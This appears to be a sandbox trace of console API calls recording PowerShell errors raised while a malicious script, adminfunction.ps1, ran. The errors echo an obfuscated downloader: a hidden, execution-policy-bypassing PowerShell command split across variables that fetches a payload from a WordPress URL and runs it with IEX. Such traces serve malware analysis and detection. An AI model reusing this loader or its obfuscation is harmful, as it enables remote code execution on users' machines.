|
WriteConsoleW
|
buffer:
Set-Variable : A positional parameter cannot be found that accepts argument 'Cr
console_handle:
0x00000023
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
eateObject'.
console_handle:
0x0000002f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\adminfunction.ps1:1 char:4
console_handle:
0x0000003b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ Set <<<< talamzvc = CreateObject(Replace(Replace(Replace(Replace(Replace(Rep
console_handle:
0x00000047
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
lace(Replace(Replace(Replace(Replace(Replace("UiaCvLamQWeAUvcXaLa8QaZKlAmNaZZlA
console_handle:
0x00000053
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
qErQDrAmNVVaZZlakEGGjLaMnBVCEWqHaLaMIxxXaLaYbValEqQQaSXUbCXzASQwwEQkLUvcXaLa8Qa
console_handle:
0x0000005f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
ZTTlFAmAZlWXaAOiER4EsAXaEzGlVraMazerLaQGlVraMazerLaQ", "UiaCvLamQWeA", "w"), "U
console_handle:
0x0000006b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
vcXaLa8QaZ", "s"), "KlAmNaZZlAqErQ", "c"), "DrAmNVVaZZlakE", "r"), "GGjLaMnBVCE
console_handle:
0x00000077
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Wq", "i"), "HaLaMIxxXaLa", "p"), "YbValEqQQaSX", "t"), "UbCXzASQwwEQkL", "."),
console_handle:
0x00000083
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
"TTlFAmAZlWXaA", "h"), "OiER4EsAXaEz", "e"), "GlVraMazerLaQ", "l"))
console_handle:
0x0000008f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ CategoryInfo : InvalidArgument: (:) [Set-Variable], ParameterBi
console_handle:
0x0000009b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
ndingException
console_handle:
0x000000a7
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell
console_handle:
0x000000b3
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
.Commands.SetVariableCommand
console_handle:
0x000000bf
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
The term 'vcnmlake' is not recognized as the name of a cmdlet, function, script
console_handle:
0x000000df
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
file, or operable program. Check the spelling of the name, or if a path was in
console_handle:
0x000000eb
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
cluded, verify that the path is correct and try again.
console_handle:
0x000000f7
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\adminfunction.ps1:2 char:9
console_handle:
0x00000103
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ vcnmlake <<<< = ("POWeRS")
console_handle:
0x0000010f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ CategoryInfo : ObjectNotFound: (vcnmlake:String) [], CommandNot
console_handle:
0x0000011b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
FoundException
console_handle:
0x00000127
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : CommandNotFoundException
console_handle:
0x00000133
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
The term 'talamzvc.Run' is not recognized as the name of a cmdlet, function, sc
console_handle:
0x00000023
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
ript file, or operable program. Check the spelling of the name, or if a path wa
console_handle:
0x0000002f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
s included, verify that the path is correct and try again.
console_handle:
0x0000003b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\adminfunction.ps1:3 char:13
console_handle:
0x00000047
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ talamzvc.Run <<<< ((vcnmlake)+"HeLL.eXe -WIND HIDDeN -eXeC BYPASS -NONI $pola
console_handle:
0x00000053
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
masfs2a='IeX(NeW-OBJeCT NeT.W';$ublamw21al='eBCLIeNT).DOWNLO';Sleep 2;[BYTe[]];
console_handle:
0x0000005f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Sleep 3;$iblmaksb2aq='lkmanvcxas2a(''https://www.joshbystrom.com/wp-admin/image
console_handle:
0x0000006b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
s/bubble_bg22.SVG'')'.RePLACe('lkmanvcxas2a','ADSTRING');Sleep 1;IeX($polamasfs
console_handle:
0x00000077
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
2a+$ublamw21al+$iblmaksb2aq);"), CONSOLE_HIDE, CMD_WAIT
console_handle:
0x00000083
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ CategoryInfo : ObjectNotFound: (talamzvc.Run:String) [], Comman
console_handle:
0x0000008f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
dNotFoundException
console_handle:
0x0000009b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : CommandNotFoundException
console_handle:
0x000000a7
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Set-Variable : A positional parameter cannot be found that accepts argument 'No
console_handle:
0x000000c7
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
thing'.
console_handle:
0x000000d3
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
At C:\Users\test22\AppData\Local\Temp\adminfunction.ps1:4 char:4
console_handle:
0x000000df
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ Set <<<< ali = Nothing
console_handle:
0x000000eb
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ CategoryInfo : InvalidArgument: (:) [Set-Variable], ParameterBi
console_handle:
0x000000f7
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
ndingException
console_handle:
0x00000103
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
+ FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell
console_handle:
0x0000010f
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
.Commands.SetVariableCommand
console_handle:
0x0000011b
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Invalid switch - s
console_handle:
0x00000013
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Invalid switch - c
console_handle:
0x00000013
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Invalid switch - r
console_handle:
0x00000013
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Invalid switch - i
console_handle:
0x00000013
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Invalid switch - p
console_handle:
0x00000013
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Invalid switch - t
console_handle:
0x00000013
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Invalid switch - .
console_handle:
0x00000013
|
1
|
1 |
0
|
|
WriteConsoleW
|
buffer:
Invalid switch - h
console_handle:
0x00000013
|
1
|
1 |
0
|
adminfunction.ps1